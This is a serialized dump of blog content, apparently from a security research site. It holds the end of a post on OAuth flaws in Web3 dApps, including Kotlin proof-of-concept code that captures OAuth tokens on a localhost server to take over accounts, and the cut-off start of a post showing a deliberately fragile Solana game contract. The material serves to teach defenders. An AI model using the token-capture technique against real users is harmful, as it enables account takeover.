Uri.",{"type":24,"tag":83,"props":70456,"children":70457},{"style":101},[70458],{"type":29,"value":38929},{"type":24,"tag":83,"props":70460,"children":70461},{"style":107},[70462],{"type":29,"value":70463},"(googleOAuthUrl))\n",{"type":24,"tag":83,"props":70465,"children":70466},{"class":85,"line":1065},[70467,70472],{"type":24,"tag":83,"props":70468,"children":70469},{"style":101},[70470],{"type":29,"value":70471},"        startActivity",{"type":24,"tag":83,"props":70473,"children":70474},{"style":107},[70475],{"type":29,"value":70476},"(browserIntent)\n",{"type":24,"tag":83,"props":70478,"children":70479},{"class":85,"line":1668},[70480],{"type":24,"tag":83,"props":70481,"children":70482},{"style":107},[70483],{"type":29,"value":446},{"type":24,"tag":83,"props":70485,"children":70486},{"class":85,"line":1713},[70487],{"type":24,"tag":83,"props":70488,"children":70489},{"emptyLinePlaceholder":16},[70490],{"type":29,"value":3422},{"type":24,"tag":83,"props":70492,"children":70493},{"class":85,"line":1730},[70494,70499,70503,70508],{"type":24,"tag":83,"props":70495,"children":70496},{"style":90},[70497],{"type":29,"value":70498},"    private",{"type":24,"tag":83,"props":70500,"children":70501},{"style":90},[70502],{"type":29,"value":5953},{"type":24,"tag":83,"props":70504,"children":70505},{"style":101},[70506],{"type":29,"value":70507}," startWebServer",{"type":24,"tag":83,"props":70509,"children":70510},{"style":107},[70511],{"type":29,"value":110},{"type":24,"tag":83,"props":70513,"children":70514},{"class":85,"line":1770},[70515,70520,70525,70529,70534],{"type":24,"tag":83,"props":70516,"children":70517},{"style":101},[70518],{"type":29,"value":70519},"        embeddedServer",{"type":24,"tag":83,"props":70521,"children":70522},{"style":107},[70523],{"type":29,"value":70524},"(CIO, port ",{"type":24,"tag":83,"props":70526,"children":70527},{"style":143},[70528],{"type":29,"value":1275},{"type":24,"tag":83,"props":70530,"children":70531},{"style":245},[70532],{"type":29,"value":70533}," 3000",{"type":24,"tag":83,"props":70535,"children":70536},{"style":107},[70537],{"type":29,"value":253},{"type":24,"tag":83,"props":70539,"children":70540},{"class":85,"line":1778},[70541,70546],{"type":24,"tag":83,"props":70542,"children":70543},{"style":101},[70544],{"type":29,"value":70545},"            routing",{"type":24,"tag":83,"props":70547,"children":70548},{"style":107},[70549],{"type":29,"value":125},{"type":24,"tag":83,"props":70551,"children":70552},{"class":85,"line":1803},[70553,70558,70562,70567],{"type":24,"tag":83,"props":70554,"children":70555},{"style":90},[70556],{"type":29,"value":70557},"                get",{"type":24,"tag":83,"props":70559,"children":70560},{"style":107},[70561],{"type":29,"value":558},{"type":24,"tag":83,"props":70563,"children":70564},{"style":187},[70565],{"type":29,"value":70566},"\"{...}\"",{"type":24,"tag":83,"props":70568,"children":70569},{"style":107},[70570],{"type":29,"value":253},{"type":24,"tag":83,"props":70572,"children":70573},{"class":85,"line":1811},[70574,70579,70584],{"type":24,"tag":83,"props":70575,"children":70576},{"style":107},[70577],{"type":29,"value":70578},"                    call.",{"type":24,"tag":83,"props":70580,"children":70581},{"style":101},[70582],{"type":29,"value":70583},"respondHtml",{"type":24,"tag":83,"props":70585,"children":70586},{"style":107},[70587],{"type":29,"value":125},{"type":24,"tag":83,"props":70589,"children":70590},{"class":85,"line":8792},[70591,70596],{"type":24,"tag":83,"props":70592,"children":70593},{"style":101},[70594],{"type":29,"value":70595},"                        head",{"type":24,"tag":83,"props":70597,"children":70598},{"style":107},[70599],{"type":29,"value":125},{"type":24,"tag":83,"props":70601,"children":70602},{"class":85,"line":8810},[70603,70608,70613,70617,70622],{"type":24,"tag":83,"props":70604,"children":70605},{"style":101},[70606],{"type":29,"value":70607},"                            meta",{"type":24,"tag":83,"props":70609,"children":70610},{"style":107},[70611],{"type":29,"value":70612},"(charset ",{"type":24,"tag":83,"props":70614,"children":70615},{"style":143},[70616],{"type":29,"value":1275},{"type":24,"tag":83,"props":70618,"children":70619},{"style":187},[70620],{"type":29,"value":70621}," \"UTF-8\"",{"type":24,"tag":83,"props":70623,"children":70624},{"style":107},[70625],{"type":29,"value":2905},{"type":24,"tag":83,"props":70627,"children":70628},{"class":85,"line":8855},[70629,70633,70638,70642,70647,70652,70656,70661],{"type":24,"tag":83,"props":70630,"children":70631},{"style":101},[70632],{"type":29,"value":70607},{"type":24,"tag":83,"props":70634,"children":70635},{"style":107},[70636],{"type":29,"value":70637},"(name ",{"type":24,"tag":83,"props":70639,"children":70640},{"style":143},[70641],{"type":29,"value":1275},{"type":24,"tag":83,"props":70643,"children":70644},{"style":187},[70645],{"type":29,"value":70646}," \"viewport\"",{"type":24,"tag":83,"props":70648,"children":70649},{"style":107},[70650],{"type":29,"value":70651},", content ",{"type":24,"tag":83,"props":70653,"children":70654},{"style":143},[70655],{"type":29,"value":1275},{"type":24,"tag":83,"props":70657,"children":70658},{"style":187},[70659],{"type":29,"value":70660}," \"width=device-width, initial-scale=1.0\"",{"type":24,"tag":83,"props":70662,"children":70663},{"style":107},[70664],{"type":29,"value":2905},{"type":24,"tag":83,"props":70666,"children":70667},{"class":85,"line":8961},[70668,70673,70677,70682],{"type":24,"tag":83,"props":70669,"children":70670},{"style":101},[70671],{"type":29,"value":70672},"                            title",{"type":24,"tag":83,"props":70674,"children":70675},{"style":107},[70676],{"type":29,"value":558},{"type":24,"tag":83,"props":70678,"children":70679},{"style":187},[70680],{"type":29,"value":70681},"\"OAuth Redirect\"",{"type":24,"tag":83,"props":70683,"children":70684},{"style":107},[70685],{"type":29,"value":2905},{"type":24,"tag":83,"props":70687,"children":70688},{"class":85,"line":23248},[70689],{"type":24,"tag":83,"props":70690,"children":70691},{"style":107},[70692],{"type":29,"value":70693},"                        }\n",{"type":24,"tag":83,"props":70695,"children":70696},{"class":85,"line":23283},[70697,70702],{"type":24,"tag":83,"props":70698,"children":70699},{"style":101},[70700],{"type":29,"value":70701},"                        body",{"type":24,"tag":83,"props":70703,"children":70704},{"style":107},[70705],{"type":29,"value":125},{"type":24,"tag":83,"props":70707,"children":70708},{"class":85,"line":23291},[70709,70714,70718,70722,70727],{"type":24,"tag":83,"props":70710,"children":70711},{"style":101},[70712],{"type":29,"value":70713},"                            h1",{"type":24,"tag":83,"props":70715,"children":70716},{"style":107},[70717],{"type":29,"value":9333},{"type":24,"tag":83,"props":70719,"children":70720},{"style":143},[70721],{"type":29,"value":4126},{"type":24,"tag":83,"props":70723,"children":70724},{"style":187},[70725],{"type":29,"value":70726},"\"Google OAuth Redirect\"",{"type":24,"tag":83,"props":70728,"children":70729},{"style":107},[70730],{"type":29,"value":9342},{"type":24,"tag":83,"props":70732,"children":70733},{"class":85,"line":23299},[70734,70739],{"type":24,"tag":83,"props":70735,"children":70736},{"style":101},[70737],{"type":29,"value":70738},"                            script",{"type":24,"tag":83,"props":70740,"children":70741},{"style":107},[70742],{"type":29,"value":125},{"type":24,"tag":83,"props":70744,"children":70745},{"class":85,"line":23308},[70746,70751],{"type":24,"tag":83,"props":70747,"children":70748},{"style":143},[70749],{"type":29,"value":70750},"                                +",{"type":24,"tag":83,"props":70752,"children":70753},{"style":187},[70754],{"type":29,"value":70755},"\"document.body.innerText = location.search;\"\n",{"type":24,"tag":83,"props":70757,"children":70758},{"class":85,"line":23350},[70759],{"type":24,"tag":83,"props":70760,"children":70761},{"style":107},[70762],{"type":29,"value":70763},"                            }\n",{"type":24,"tag":83,"props":70765,"children":70766},{"class":85,"line":23383},[70767],{"type":24,"tag":83,"props":70768,"children":70769},{"style":107},[70770],{"type":29,"value":70693},{"type":24,"tag":83,"props":70772,"children":70773},{"class":85,"line":23391},[70774],{"type":24,"tag":83,"props":70775,"children":70776},{"style":107},[70777],{"type":29,"value":70778},"                    }\n",{"type":24,"tag":83,"props":70780,"children":70781},{"class":85,"line":23399},[70782],{"type":24,"tag":83,"props":70783,"children":70784},{"style":107},[70785],{"type":29,"value":70786},"                }\n",{"type":24,"tag":83,"props":70788,"children":70789},{"class":85,"line":23408},[70790],{"type":24,"tag":83,"props":70791,"children":70792},{"style":107},[70793],{"type":29,"value":58599},{"type":24,"tag":83,"props":70795,"children":70796},{"class":85,"line":23484},[70797,70802,70807,70812,70816,70820],{"type":24,"tag":83,"props":70798,"children":70799},{"style":107},[70800],{"type":29,"value":70801},"        }.",{"type":24,"tag":83,"props":70803,"children":70804},{"style":101},[70805],{"type":29,"value":70806},"start",{"type":24,"tag":83,"props":70808,"children":70809},{"style":107},[70810],{"type":29,"value":70811},"(wait ",{"type":24,"tag":83,"props":70813,"children":70814},{"style":143},[70815],{"type":29,"value":1275},{"type":24,"tag":83,"props":70817,"children":70818},{"style":90},[70819],{"type":29,"value":12215},{"type":24,"tag":83,"props":70821,"children":70822},{"style":107},[70823],{"type":29,"value":2905},{"type":24,"tag":83,"props":70825,"children":70826},{"class":85,"line":23517},[70827],{"type":24,"tag":83,"props":70828,"children":70829},{"style":107},[70830],{"type":29,"value":446},{"type":24,"tag":83,"props":70832,"children":70833},{"class":85,"line":23525},[70834],{"type":24,"tag":83,"props":70835,"children":70836},{"style":107},[70837],{"type":29,"value":464},{"type":24,"tag":25,"props":70839,"children":70840},{},[70841],{"type":29,"value":70842},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":24,"tag":25,"props":70844,"children":70845},{},[70846],{"type":29,"value":70847},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":24,"tag":1818,"props":70849,"children":70851},{"id":70850},"mitigation-1",[70852],{"type":29,"value":40052},{"type":24,"tag":25,"props":70854,"children":70855},{},[70856,70858,70863],{"type":29,"value":70857},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":24,"tag":32,"props":70859,"children":70861},{"className":70860},[],[70862],{"type":29,"value":69481},{"type":29,"value":70864}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":24,"tag":51,"props":70866,"children":70867},{"id":28683},[70868],{"type":29,"value":18686},{"type":24,"tag":25,"props":70870,"children":70871},{},[70872],{"type":29,"value":70873},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":24,"tag":25,"props":70875,"children":70876},{},[70877],{"type":29,"value":70878},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":24,"tag":2584,"props":70880,"children":70881},{},[70882],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":70884},[70885,70892,70897,70900],{"id":69249,"depth":113,"text":69252,"children":70886},[70887,70888,70889,70890,70891],{"id":69260,"depth":128,"text":69263},{"id":69287,"depth":128,"text":69290},{"id":69348,"depth":128,"text":69351},{"id":69405,"depth":128,"text":69408},{"id":69504,"depth":128,"text":69507},{"id":69550,"depth":113,"text":69553,"children":70893},[70894,70895,70896],{"id":69556,"depth":128,"text":69559},{"id":69583,"depth":128,"text":69586},{"id":40049,"depth":128,"text":40052},{"id":70031,"depth":113,"text":70034,"children":70898},[70899],{"id":70850,"depth":128,"text":40052},{"id":28683,"depth":113,"text":18686},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":70905,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":70906,"description":70907,"author":40168,"image":70908,"date":70910,"isFeatured":16,"tags":70911,"onBlogPage":16,"body":70912,"_type":2606,"_id":75564,"_source":2608,"_file":75565,"_stem":75566,"_extension":2611},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":70909,"height":15,"width":15},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[2623],{"type":21,"children":70913,"toc":75553},[70914,70918,70923,70937,70943,70948,70978,70983,70988,72026,72031,72039,72044,72050,72056,72068,72101,72113,72126,72138,72583,72588,72634,72640,72645,72732,72737,72751,72764,73427,73432,73444,73450,73461,73473,73627,73641,73660,73681,73687,73692,74037,74042,74048,74067,74081,74703,74708,74728,74733,74738,74744,74756,74777,74952,74958,74963,75264,75285,75297,75309,75393,75413,75425,75431,75443,75449,75454,75477,75489,75495,75507,75512,75516,75521,75526,75544,75549],{"type":24,"tag":51,"props":70915,"children":70916},{"id":28766},[70917],{"type":29,"value":28769},{"type":24,"tag":25,"props":70919,"children":70920},{},[70921],{"type":29,"value":70922},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":24,"tag":25,"props":70924,"children":70925},{},[70926,70928,70935],{"type":29,"value":70927},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":24,"tag":2033,"props":70929,"children":70932},{"href":70930,"rel":70931},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[2037],[70933],{"type":29,"value":70934},"King of the Ether",{"type":29,"value":70936},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":24,"tag":51,"props":70938,"children":70940},{"id":70939},"the-game-king-of-the-sol",[70941],{"type":29,"value":70942},"The Game: King of the SOL",{"type":24,"tag":25,"props":70944,"children":70945},{},[70946],{"type":29,"value":70947},"The game works like this:",{"type":24,"tag":16422,"props":70949,"children":70950},{},[70951,70963,70968,70973],{"type":24,"tag":67,"props":70952,"children":70953},{},[70954,70956,70961],{"type":29,"value":70955},"Anyone can become the ",{"type":24,"tag":2040,"props":70957,"children":70958},{},[70959],{"type":29,"value":70960},"king",{"type":29,"value":70962}," by bidding at least 2× the previous bid.",{"type":24,"tag":67,"props":70964,"children":70965},{},[70966],{"type":29,"value":70967},"The old king is reimbursed 95% of their bid.",{"type":24,"tag":67,"props":70969,"children":70970},{},[70971],{"type":29,"value":70972},"The remaining 5% goes into a prize pot.",{"type":24,"tag":67,"props":70974,"children":70975},{},[70976],{"type":29,"value":70977},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":24,"tag":25,"props":70979,"children":70980},{},[70981],{"type":29,"value":70982},"Simple, right?",{"type":24,"tag":25,"props":70984,"children":70985},{},[70986],{"type":29,"value":70987},"This is the core logic:",{"type":24,"tag":73,"props":70989,"children":70991},{"className":2725,"code":70990,"language":2724,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[70992],{"type":24,"tag":32,"props":70993,"children":70994},{"__ignoreMap":7},[70995,71010,71038,71053,71094,71101,71109,71160,71191,71198,71206,71221,71253,71260,71275,71306,71313,71320,71328,71345,71419,71427,71488,71500,71528,71568,71580,71596,71603,71611,71685,71697,71736,71764,71776,71791,71798,71806,71876,71920,71994,72001,72012,72019],{"type":24,"tag":83,"props":70996,"children":70997},{"class":85,"line":86},[70998,71002,71006],{"type":24,"tag":83,"props":70999,"children":71000},{"style":107},[71001],{"type":29,"value":22577},{"type":24,"tag":83,"props":71003,"children":71004},{"style":3163},[71005],{"type":29,"value":22582},{"type":24,"tag":83,"props":71007,"children":71008},{"style":107},[71009],{"type":29,"value":19999},{"type":24,"tag":83,"props":71011,"children":71012},{"class":85,"line":113},[71013,71017,71021,71026,71030,71034],{"type":24,"tag":83,"props":71014,"children":71015},{"style":90},[71016],{"type":29,"value":13435},{"type":24,"tag":83,"props":71018,"children":71019},{"style":90},[71020],{"type":29,"value":20891},{"type":24,"tag":83,"props":71022,"children":71023},{"style":3163},[71024],{"type":29,"value":71025}," ChangeKing",{"type":24,"tag":83,"props":71027,"children":71028},{"style":107},[71029],{"type":29,"value":22662},{"type":24,"tag":83,"props":71031,"children":71032},{"style":3163},[71033],{"type":29,"value":22667},{"type":24,"tag":83,"props":71035,"children":71036},{"style":107},[71037],{"type":29,"value":7028},{"type":24,"tag":83,"props":71039,"children":71040},{"class":85,"line":128},[71041,71045,71049],{"type":24,"tag":83,"props":71042,"children":71043},{"style":107},[71044],{"type":29,"value":22868},{"type":24,"tag":83,"props":71046,"children":71047},{"style":90},[71048],{"type":29,"value":3468},{"type":24,"tag":83,"props":71050,"children":71051},{"style":107},[71052],{"type":29,"value":19999},{"type":24,"tag":83,"props":71054,"children":71055},{"class":85,"line":183},[71056,71060,71065,71069,71073,71077,71081,71085,71090],{"type":24,"tag":83,"props":71057,"children":71058},{"style":90},[71059],{"type":29,"value":20583},{"type":24,"tag":83,"props":71061,"children":71062},{"style":137},[71063],{"type":29,"value":71064}," throne",{"type":24,"tag":83,"props":71066,"children":71067},{"style":143},[71068],{"type":29,"value":195},{"type":24,"tag":83,"props":71070,"children":71071},{"style":3163},[71072],{"type":29,"value":22833},{"type":24,"tag":83,"props":71074,"children":71075},{"style":107},[71076],{"type":29,"value":22662},{"type":24,"tag":83,"props":71078,"children":71079},{"style":3163},[71080],{"type":29,"value":22667},{"type":24,"tag":83,"props":71082,"children":71083},{"style":107},[71084],{"type":29,"value":568},{"type":24,"tag":83,"props":71086,"children":71087},{"style":3163},[71088],{"type":29,"value":71089},"Throne",{"type":24,"tag":83,"props":71091,"children":71092},{"style":107},[71093],{"type":29,"value":5884},{"type":24,"tag":83,"props":71095,"children":71096},{"class":85,"line":203},[71097],{"type":24,"tag":83,"props":71098,"children":71099},{"emptyLinePlaceholder":16},[71100],{"type":29,"value":3422},{"type":24,"tag":83,"props":71102,"children":71103},{"class":85,"line":212},[71104],{"type":24,"tag":83,"props":71105,"children":71106},{"style":2735},[71107],{"type":29,"value":71108},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":24,"tag":83,"props":71110,"children":71111},{"class":85,"line":256},[71112,71116,71120,71125,71129,71134,71138,71143,71147,71151,71155],{"type":24,"tag":83,"props":71113,"children":71114},{"style":107},[71115],{"type":29,"value":22868},{"type":24,"tag":83,"props":71117,"children":71118},{"style":90},[71119],{"type":29,"value":3468},{"type":24,"tag":83,"props":71121,"children":71122},{"style":107},[71123],{"type":29,"value":71124},", constraint ",{"type":24,"tag":83,"props":71126,"children":71127},{"style":143},[71128],{"type":29,"value":1275},{"type":24,"tag":83,"props":71130,"children":71131},{"style":107},[71132],{"type":29,"value":71133}," old_king",{"type":24,"tag":83,"props":71135,"children":71136},{"style":143},[71137],{"type":29,"value":161},{"type":24,"tag":83,"props":71139,"children":71140},{"style":107},[71141],{"type":29,"value":71142},"key() ",{"type":24,"tag":83,"props":71144,"children":71145},{"style":143},[71146],{"type":29,"value":8320},{"type":24,"tag":83,"props":71148,"children":71149},{"style":107},[71150],{"type":29,"value":71064},{"type":24,"tag":83,"props":71152,"children":71153},{"style":143},[71154],{"type":29,"value":161},{"type":24,"tag":83,"props":71156,"children":71157},{"style":107},[71158],{"type":29,"value":71159},"king)]\n",{"type":24,"tag":83,"props":71161,"children":71162},{"class":85,"line":270},[71163,71167,71171,71175,71179,71183,71187],{"type":24,"tag":83,"props":71164,"children":71165},{"style":90},[71166],{"type":29,"value":20583},{"type":24,"tag":83,"props":71168,"children":71169},{"style":137},[71170],{"type":29,"value":71133},{"type":24,"tag":83,"props":71172,"children":71173},{"style":143},[71174],{"type":29,"value":195},{"type":24,"tag":83,"props":71176,"children":71177},{"style":3163},[71178],{"type":29,"value":25148},{"type":24,"tag":83,"props":71180,"children":71181},{"style":107},[71182],{"type":29,"value":22662},{"type":24,"tag":83,"props":71184,"children":71185},{"style":3163},[71186],{"type":29,"value":22667},{"type":24,"tag":83,"props":71188,"children":71189},{"style":107},[71190],{"type":29,"value":5884},{"type":24,"tag":83,"props":71192,"children":71193},{"class":85,"line":302},[71194],{"type":24,"tag":83,"props":71195,"children":71196},{"emptyLinePlaceholder":16},[71197],{"type":29,"value":3422},{"type":24,"tag":83,"props":71199,"children":71200},{"class":85,"line":324},[71201],{"type":24,"tag":83,"props":71202,"children":71203},{"style":2735},[71204],{"type":29,"value":71205},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":24,"tag":83,"props":71207,"children":71208},{"class":85,"line":345},[71209,71213,71217],{"type":24,"tag":83,"props":71210,"children":71211},{"style":107},[71212],{"type":29,"value":22868},{"type":24,"tag":83,"props":71214,"children":71215},{"style":90},[71216],{"type":29,"value":3468},{"type":24,"tag":83,"props":71218,"children":71219},{"style":107},[71220],{"type":29,"value":19999},{"type":24,"tag":83,"props":71222,"children":71223},{"class":85,"line":358},[71224,71228,71233,71237,71241,71245,71249],{"type":24,"tag":83,"props":71225,"children":71226},{"style":90},[71227],{"type":29,"value":20583},{"type":24,"tag":83,"props":71229,"children":71230},{"style":137},[71231],{"type":29,"value":71232}," new_king",{"type":24,"tag":83,"props":71234,"children":71235},{"style":143},[71236],{"type":29,"value":195},{"type":24,"tag":83,"props":71238,"children":71239},{"style":3163},[71240],{"type":29,"value":25148},{"type":24,"tag":83,"props":71242,"children":71243},{"style":107},[71244],{"type":29,"value":22662},{"type":24,"tag":83,"props":71246,"children":71247},{"style":3163},[71248],{"type":29,"value":22667},{"type":24,"tag":83,"props":71250,"children":71251},{"style":107},[71252],{"type":29,"value":5884},{"type":24,"tag":83,"props":71254,"children":71255},{"class":85,"line":367},[71256],{"type":24,"tag":83,"props":71257,"children":71258},{"emptyLinePlaceholder":16},[71259],{"type":29,"value":3422},{"type":24,"tag":83,"props":71261,"children":71262},{"class":85,"line":406},[71263,71267,71271],{"type":24,"tag":83,"props":71264,"children":71265},{"style":107},[71266],{"type":29,"value":22868},{"type":24,"tag":83,"props":71268,"children":71269},{"style":90},[71270],{"type":29,"value":3468},{"type":24,"tag":83,"props":71272,"children":71273},{"style":107},[71274],{"type":29,"value":19999},{"type":24,"tag":83,"props":71276,"children":71277},{"class":85,"line":427},[71278,71282,71286,71290,71294,71298,71302],{"type":24,"tag":83,"props":71279,"children":71280},{"style":90},[71281],{"type":29,"value":20583},{"type":24,"tag":83,"props":71283,"children":71284},{"style":137},[71285],{"type":29,"value":41957},{"type":24,"tag":83,"props":71287,"children":71288},{"style":143},[71289],{"type":29,"value":195},{"type":24,"tag":83,"props":71291,"children":71292},{"style":3163},[71293],{"type":29,"value":22897},{"type":24,"tag":83,"props":71295,"children":71296},{"style":107},[71297],{"type":29,"value":22662},{"type":24,"tag":83,"props":71299,"children":71300},{"style":3163},[71301],{"type":29,"value":22667},{"type":24,"tag":83,"props":71303,"children":71304},{"style":107},[71305],{"type":29,"value":5884},{"type":24,"tag":83,"props":71307,"children":71308},{"class":85,"line":440},[71309],{"type":24,"tag":83,"props":71310,"children":71311},{"style":107},[71312],{"type":29,"value":464},{"type":24,"tag":83,"props":71314,"children":71315},{"class":85,"line":449},[71316],{"type":24,"tag":83,"props":71317,"children":71318},{"emptyLinePlaceholder":16},[71319],{"type":29,"value":3422},{"type":24,"tag":83,"props":71321,"children":71322},{"class":85,"line":458},[71323],{"type":24,"tag":83,"props":71324,"children":71325},{"style":107},[71326],{"type":29,"value":71327},"#[program]\n",{"type":24,"tag":83,"props":71329,"children":71330},{"class":85,"line":1065},[71331,71335,71340],{"type":24,"tag":83,"props":71332,"children":71333},{"style":90},[71334],{"type":29,"value":13435},{"type":24,"tag":83,"props":71336,"children":71337},{"style":90},[71338],{"type":29,"value":71339}," mod",{"type":24,"tag":83,"props":71341,"children":71342},{"style":107},[71343],{"type":29,"value":71344}," king_of_the_sol {\n",{"type":24,"tag":83,"props":71346,"children":71347},{"class":85,"line":1668},[71348,71352,71356,71361,71365,71369,71373,71377,71381,71386,71390,71395,71399,71403,71407,71411,71415],{"type":24,"tag":83,"props":71349,"children":71350},{"style":90},[71351],{"type":29,"value":20583},{"type":24,"tag":83,"props":71353,"children":71354},{"style":90},[71355],{"type":29,"value":13440},{"type":24,"tag":83,"props":71357,"children":71358},{"style":101},[71359],{"type":29,"value":71360}," change_king",{"type":24,"tag":83,"props":71362,"children":71363},{"style":107},[71364],{"type":29,"value":558},{"type":24,"tag":83,"props":71366,"children":71367},{"style":137},[71368],{"type":29,"value":20021},{"type":24,"tag":83,"props":71370,"children":71371},{"style":143},[71372],{"type":29,"value":195},{"type":24,"tag":83,"props":71374,"children":71375},{"style":3163},[71376],{"type":29,"value":20030},{"type":24,"tag":83,"props":71378,"children":71379},{"style":107},[71380],{"type":29,"value":5552},{"type":24,"tag":83,"props":71382,"children":71383},{"style":3163},[71384],{"type":29,"value":71385},"ChangeKing",{"type":24,"tag":83,"props":71387,"children":71388},{"style":107},[71389],{"type":29,"value":6377},{"type":24,"tag":83,"props":71391,"children":71392},{"style":137},[71393],{"type":29,"value":71394},"bid_amount",{"type":24,"tag":83,"props":71396,"children":71397},{"style":143},[71398],{"type":29,"value":195},{"type":24,"tag":83,"props":71400,"children":71401},{"style":3163},[71402],{"type":29,"value":5606},{"type":24,"tag":83,"props":71404,"children":71405},{"style":107},[71406],{"type":29,"value":633},{"type":24,"tag":83,"props":71408,"children":71409},{"style":143},[71410],{"type":29,"value":13502},{"type":24,"tag":83,"props":71412,"children":71413},{"style":3163},[71414],{"type":29,"value":13507},{"type":24,"tag":83,"props":71416,"children":71417},{"style":107},[71418],{"type":29,"value":20072},{"type":24,"tag":83,"props":71420,"children":71421},{"class":85,"line":1713},[71422],{"type":24,"tag":83,"props":71423,"children":71424},{"style":2735},[71425],{"type":29,"value":71426},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":24,"tag":83,"props":71428,"children":71429},{"class":85,"line":1730},[71430,71434,71438,71442,71446,71450,71454,71458,71462,71467,71471,71476,71480,71484],{"type":24,"tag":83,"props":71431,"children":71432},{"style":101},[71433],{"type":29,"value":64162},{"type":24,"tag":83,"props":71435,"children":71436},{"style":107},[71437],{"type":29,"value":558},{"type":24,"tag":83,"props":71439,"children":71440},{"style":137},[71441],{"type":29,"value":71394},{"type":24,"tag":83,"props":71443,"children":71444},{"style":143},[71445],{"type":29,"value":8047},{"type":24,"tag":83,"props":71447,"children":71448},{"style":137},[71449],{"type":29,"value":25592},{"type":24,"tag":83,"props":71451,"children":71452},{"style":143},[71453],{"type":29,"value":161},{"type":24,"tag":83,"props":71455,"children":71456},{"style":107},[71457],{"type":29,"value":14418},{"type":24,"tag":83,"props":71459,"children":71460},{"style":143},[71461],{"type":29,"value":161},{"type":24,"tag":83,"props":71463,"children":71464},{"style":107},[71465],{"type":29,"value":71466},"throne",{"type":24,"tag":83,"props":71468,"children":71469},{"style":143},[71470],{"type":29,"value":161},{"type":24,"tag":83,"props":71472,"children":71473},{"style":107},[71474],{"type":29,"value":71475},"last_bid_amount ",{"type":24,"tag":83,"props":71477,"children":71478},{"style":143},[71479],{"type":29,"value":4315},{"type":24,"tag":83,"props":71481,"children":71482},{"style":245},[71483],{"type":29,"value":7681},{"type":24,"tag":83,"props":71485,"children":71486},{"style":107},[71487],{"type":29,"value":581},{"type":24,"tag":83,"props":71489,"children":71490},{"class":85,"line":1770},[71491,71496],{"type":24,"tag":83,"props":71492,"children":71493},{"style":101},[71494],{"type":29,"value":71495},"        transfer_from_signer",{"type":24,"tag":83,"props":71497,"children":71498},{"style":107},[71499],{"type":29,"value":3208},{"type":24,"tag":83,"props":71501,"children":71502},{"class":85,"line":1778},[71503,71507,71511,71515,71519,71523],{"type":24,"tag":83,"props":71504,"children":71505},{"style":143},[71506],{"type":29,"value":7432},{"type":24,"tag":83,"props":71508,"children":71509},{"style":137},[71510],{"type":29,"value":20021},{"type":24,"tag":83,"props":71512,"children":71513},{"style":143},[71514],{"type":29,"value":161},{"type":24,"tag":83,"props":71516,"children":71517},{"style":107},[71518],{"type":29,"value":14418},{"type":24,"tag":83,"props":71520,"children":71521},{"style":143},[71522],{"type":29,"value":161},{"type":24,"tag":83,"props":71524,"children":71525},{"style":107},[71526],{"type":29,"value":71527},"payer,\n",{"type":24,"tag":83,"props":71529,"children":71530},{"class":85,"line":1803},[71531,71535,71539,71543,71547,71551,71555,71559,71564],{"type":24,"tag":83,"props":71532,"children":71533},{"style":143},[71534],{"type":29,"value":7432},{"type":24,"tag":83,"props":71536,"children":71537},{"style":137},[71538],{"type":29,"value":20021},{"type":24,"tag":83,"props":71540,"children":71541},{"style":143},[71542],{"type":29,"value":161},{"